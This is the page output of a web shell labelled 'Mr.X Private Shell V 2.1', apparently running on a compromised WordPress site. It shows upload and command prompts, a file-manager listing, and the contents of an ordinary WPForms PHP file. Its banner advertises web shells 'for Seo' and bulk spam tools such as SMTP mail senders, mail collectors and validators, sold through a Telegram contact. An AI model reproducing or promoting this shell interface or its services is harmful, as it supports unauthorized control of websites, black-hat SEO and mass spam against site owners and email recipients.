__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

namespace WPForms\Admin\Education;

/**
 * Base class for all "addons list" type Education features.
 *
 * @since 1.6.6
 */
abstract class AddonsListBase extends AddonsItemBase {

	/**
	 * Display addons.
	 *
	 * @since 1.6.6
	 */
	public function display_addons() {

		array_map( [ $this, 'display_single_addon' ], (array) $this->get_addons() );
	}

	/**
	 * Get addons.
	 *
	 * @since 1.6.6
	 *
	 * @return array Addons array.
	 */
	abstract protected function get_addons();

	/**
	 * Ensure that we do not display activated addon items if those addons are not allowed according to the current license.
	 *
	 * @since 1.6.6
	 *
	 * @param string $hook Hook name.
	 */
	protected function filter_not_allowed_addons( $hook ) {

		$edu_addons = wp_list_pluck( $this->get_addons(), 'slug' );

		foreach ( $edu_addons as $i => $addon ) {
			$edu_addons[ $i ] = strtolower( preg_replace( '/[^a-zA-Z0-9]+/', '', $addon ) );
		}

		if ( empty( $GLOBALS['wp_filter'][ $hook ]->callbacks ) ) {
			return;
		}

		foreach ( $GLOBALS['wp_filter'][ $hook ]->callbacks as $priority => $hooks ) {
			foreach ( $hooks as $name => $arr ) {
				$class = ! empty( $arr['function'][0] ) && is_object( $arr['function'][0] ) ? strtolower( get_class( $arr['function'][0] ) ) : '';
				$class = explode( '\\', $class )[0];
				$class = preg_replace( '/[^a-zA-Z0-9]+/', '', $class );

				if ( in_array( $class, $edu_addons, true ) ) {
					unset( $GLOBALS['wp_filter'][ $hook ]->callbacks[ $priority ][ $name ] );
				}
			}
		}
	}
}

Filemanager

Name Type Size Permission Actions
Admin Folder 0750
Builder Folder 0750
Pointers Folder 0750
AddonsItemBase.php File 3.48 KB 0640
AddonsListBase.php File 1.48 KB 0640
Core.php File 2.97 KB 0640
EducationInterface.php File 414 B 0640
Fields.php File 10.16 KB 0640
Helpers.php File 3.53 KB 0640
StringsTrait.php File 6.57 KB 0640
Filemanager